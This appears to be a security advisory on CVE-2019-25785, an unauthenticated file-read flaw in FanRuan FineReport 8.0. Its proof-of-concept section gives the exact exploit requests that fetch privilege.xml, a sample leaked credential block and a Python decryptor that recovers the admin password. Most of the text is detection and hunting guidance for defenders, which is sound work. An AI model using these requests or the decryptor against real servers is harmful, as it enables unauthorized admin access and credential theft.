Introduction
A single unauthenticated GET request to a FineReport 8.0 server can return the contents of privilege.xml, the file that stores the administrator account and its reversibly encoded password. Decode that password offline and you have full backend login as admin. That is the exact chain the Shadowserver Foundation observed being exploited in the wild starting 2023-10-19.
FanRuan FineReport is an enterprise web reporting tool used to create, analyze, and present tabular and chart based data. A FanRuan published page citing IDC's first half 2019 software tracker reported FanRuan ranked first in China's business intelligence software market with a 14.9 percent share, which makes exposed instances a meaningful target in that ecosystem. The affected 8.x branch is no longer maintained, so internet facing deployments remain a practical risk.
Technical Information
CVE-2019-25785 is a CWE-22 path traversal in FanRuan FineReport 8.0. The flaw lives in the com.fr.chart.web.ChartGetFileContentAction handler inside fr-applet-8.0.jar, reached through the get_geo_json command on the /WebReport/ReportServer servlet.
The root cause is missing authentication combined with insufficient validation of a user controlled file path. ChartGetFileContentAction extends ActionNoSessionCMD, so it executes without a valid session, which is why an unauthenticated client can reach the endpoint. The handler takes the attacker supplied resourcepath parameter, passes it through CodeUtils.cjkDecode, performs a weak WebUtils.invalidResourcePath check, and then returns the file contents through FRContext.getCurrentEnv().readResource(). Because the check is insufficient, the attacker controlled path escapes its intended scope and the handler reads arbitrary files relative to the FineReport resources directory.
The most useful target is privilege.xml, which holds the admin username and a reversibly encoded password. The CVSS 3.1 vector reflects a network reachable issue with no privileges and no user interaction required, and high confidentiality impact with no stated integrity or availability impact.
Attack flow
- The attacker identifies an internet facing FineReport 8.0 instance.
- The attacker sends a single unauthenticated GET request to
/WebReport/ReportServerwithop=chart,cmd=get_geo_json, andresourcepath=privilege.xml. Some deployments use the/report/context path instead. - The server returns HTTP 200 with the
privilege.xmlcontents, exposing<rootManagerName>and<rootManagerPassword>. - The attacker decodes the obfuscated password offline and logs into the FineReport backend as
admin.
Proof of Concept
A working public PoC exists and is tracked publicly as both CVE-2019-25785 and CNVD-2018-04757. The exploit is a single unauthenticated GET request:
GET /WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml HTTP/1.1
Some deployments use the /report/ context path instead of /WebReport/:
GET /report/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml HTTP/1.1
A vulnerable response returns the admin account and an obfuscated password in privilege.xml:
<rootManagerName><![CDATA[admin]]></rootManagerName> <rootManagerPassword><![CDATA[___00520017004e002b004100b7004200250023007f003d003d005400e4001c0057]]></rootManagerPassword>
The stored password uses a trivial XOR obfuscation (passwordEncode / passwordDecode) with a fixed mask array. The PeiQi write up publishes a Python decryptor that recovers the cleartext admin password:
cipher = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' # ciphertext from rootManagerPassword PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] # mask Password = "" cipher = cipher[3:] # strip leading ___ for i in range(int(len(cipher) / 4)): c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16) c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8] Password = Password + chr(c2) print(Password)
The full impact chain runs like this: unauthenticated file read, exfiltrate privilege.xml, decrypt the admin password offline, and authenticate to the FineReport backend as admin. Both the PeiQi Wiki write up (with source code analysis, the exact HTTP PoC, and the decryptor) and the maintained ProjectDiscovery Nuclei template are verified, executable public PoC evidence.
Detection Methods
Every exploit attempt is an unauthenticated GET to FineReport's ReportServer servlet with three parameters: op=chart, cmd=get_geo_json, and an attacker chosen resourcepath. The usual target is privilege.xml. If your web logs go back to 2023-10-19 (the first Shadowserver observation), search them as well as live traffic.
Active scanning with public templates
ProjectDiscovery's Nuclei template finereport-path-traversal.yaml is the most precise public check. It requests privilege.xml under two common context paths and flags a host only if the response is HTTP 200 and contains both admin XML tags:
http: - method: GET path: - "{{BaseURL}}/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml" - "{{BaseURL}}/report/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml" matchers-condition: and matchers: - type: word words: - "<rootManagerName>" - "<rootManagerPassword>" part: body condition: and - type: status status: - 200
A public Goby check ("FineReport v8.0 Arbitrary file read") sends the same request to /WebReport/ReportServer and to the root level /ReportServer, requiring only HTTP 200 and the string CDATA in the body. That is looser and more prone to false positives. The Nuclei template does not test root level /ReportServer, so add that path if your FineReport is deployed at the root. Requiring both <rootManagerName> and <rootManagerPassword> makes a match near certain. A successful scan reads your real admin credential file, so run it only against authorized assets and treat the output as sensitive.
Finding FineReport instances
You can only scan servers you know about. Public fingerprints for building inventory include the Goby query app="fanruansem-FineReport", the body marker isSupportForgetPwd from the PeiQi write up, and the FOFA query app="帆软-FineReport" from a Chaitin Rivers post. No fixed version is listed, so treat any internet facing FineReport 8.0 server found this way as a candidate.
Hunting in web, proxy, and WAF logs
Search request logs for the parameter combination, not just the file name. A strong hunt is any request to a */ReportServer path (/WebReport/ReportServer, /report/ReportServer, or /ReportServer) whose query string contains both op=chart and cmd=get_geo_json plus a resourcepath value. The public PoC request from the Chaitin Rivers post looks like this:
GET /WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml HTTP/1.1 Host: x.x.x.x
Tips for reducing noise and catching variants:
- Decode before matching.
resourcepathgoes through FineReport'scjkDecode(), and attackers can URL encode parameters. Normalise query strings before applying rules, or a literalprivilege.xmlmatch can be bypassed. - Look at what
resourcepathpoints to. This is a chart (map) command, so aresourcepathpointing at configuration files such asprivilege.xmlor containing traversal sequences is suspicious. Baseline what your map reports normally request before alerting on everyget_geo_jsoncall. - Check status and size. A 200 response with a body size consistent with an XML config file means the attempt probably succeeded. Requests that return errors are more likely mass scanning.
- Do not conflate with related FineReport bugs. Other attacks hit the same
ReportServerservlet with differentop/cmdpairs, such as the Goby directory traversal check usingop=fs_remote_design&cmd=design_list_file&file_path=../../.... Identify this CVE specifically byop=chartpluscmd=get_geo_json.
Response side detection (WAF, NDR, reverse proxy, DLP)
If you can inspect HTTP responses, the leaked content is a better signal than the request. The dumped privilege.xml contains a <PrivilegeManager> root element with <rootManagerName> and <rootManagerPassword> CDATA blocks. Those tags should never appear in a response to an unauthenticated client, so alerting on them is high fidelity. Any hit means the admin credential has been disclosed, and because the password encoding is reversible (the write up publishes the XOR mask and decoder), assume the password is exposed, not just a hash.
Follow up correlation
Attackers read privilege.xml to log in as admin. After any confirmed hit, look for logins to the FineReport decision platform or admin console using the root manager account, especially from the same source IP or soon after the get_geo_json request. Admin logins from previously unseen IPs are worth checking in their own right.
What we did not find
We found no public Sigma, YARA, or Snort/Suricata rule, nor a hash/IP/domain IoC list specific to this CVE. Public detection consists of the Nuclei and Goby scanner checks plus the request and response patterns above. To catch attacks in progress, convert those patterns into your own WAF, SIEM, or IDS logic.
Affected Systems and Versions
The CVE record and the VulnCheck advisory identify FanRuan FineReport 8.0 as the affected product. The handler specifics (ChartGetFileContentAction in fr-applet-8.0.jar) tie the flaw to the 8.0 release. The reviewed CVE material does not specify a patched build or a complete affected version range, so do not infer that other releases are safe or vulnerable from this record alone. FanRuan's support guidance notes that the 8.x branch and earlier are no longer maintained.
Vendor Security History
Public sources record a distinct FineReport 9.0 path traversal issue, CVE-2021-48014, involving arbitrary file writing. That is relevant historical context, but it should not be conflated with this FineReport 8.0 arbitrary file read, nor used alone to make a broad judgment about the vendor's security program. FanRuan's published support guidance is clear that the 8.x branch is no longer maintained and that customers should engage FanRuan for an upgrade.
References
- NVD: CVE-2019-25785
- CVE Record: CVE-2019-25785
- VulnCheck Advisory: FineReport 8.0 Unauthenticated File Read via ReportServer resourcepath
- ProjectDiscovery Nuclei template: finereport-path-traversal.yaml
- Nuclei template raw source
- PeiQi Wiki: FineReport V8 get_geo_json arbitrary file read (CNVD-2018-04757)
- ADog's Blog: FineReport v8.0 Getshell vulnerability analysis (archived)
- Goby PoC: FineReport v8.0 Arbitrary file read
- Goby PoC: FineReport Directory traversal
- Chaitin Rivers blog post
- CVE Record: CVE-2021-48014 (related FineReport 9.0 issue)



